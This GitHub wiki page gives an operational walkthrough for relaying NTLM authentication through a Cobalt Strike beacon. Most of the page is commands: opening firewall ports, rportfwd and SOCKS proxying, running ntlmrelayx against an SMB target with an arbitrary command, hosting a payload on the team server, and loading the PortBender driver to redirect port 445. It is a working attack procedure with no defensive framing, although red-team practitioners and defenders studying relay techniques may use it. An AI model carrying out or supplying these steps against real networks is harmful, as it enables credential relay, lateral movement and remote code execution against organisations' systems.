NTLM Relay through CS - CraigDonkin/Infrastructure GitHub Wiki
- obtain a beacon as SYSTEM
- allow ports 8445 and 8080 inbound on the firewall
powershell New-NetFirewallRule -DisplayName "8445" -Direction Inbound -Protocol TCP -Action Allow -LocalPort 8445
powershell New-NetFirewallRule -DisplayName "8080" -Direction Inbound -Protocol TCP -Action Allow -LocalPort 8080
- configure rportfwd
rportfwd 8080 localhost 80
rportfwd 8445 localhost 445
- setup socks proxy
socks 1080
- Configure proxychains to use the socks proxy
- run ntlmrelay
proxychains ntlmrelayx.py -t smb://<target> -smb2support --no-http-server --no-wcf-server -c <command>
If hosting a payload on team server blah:80\payload
, the IP of the hosting server needs to be the IP of the host being proxied through. And it would be on port 8080 to redirect to port 80.
- Upload PortBender https://github.com/praetorian-inc/PortBender to the C:\Windows\system32\drivers folder and load PortBender.cna within Cobalt Strike > Script Manager
- Use portbender to redirect traffic from TCP/445 to TCP/8445
PortBender redirect 445 8445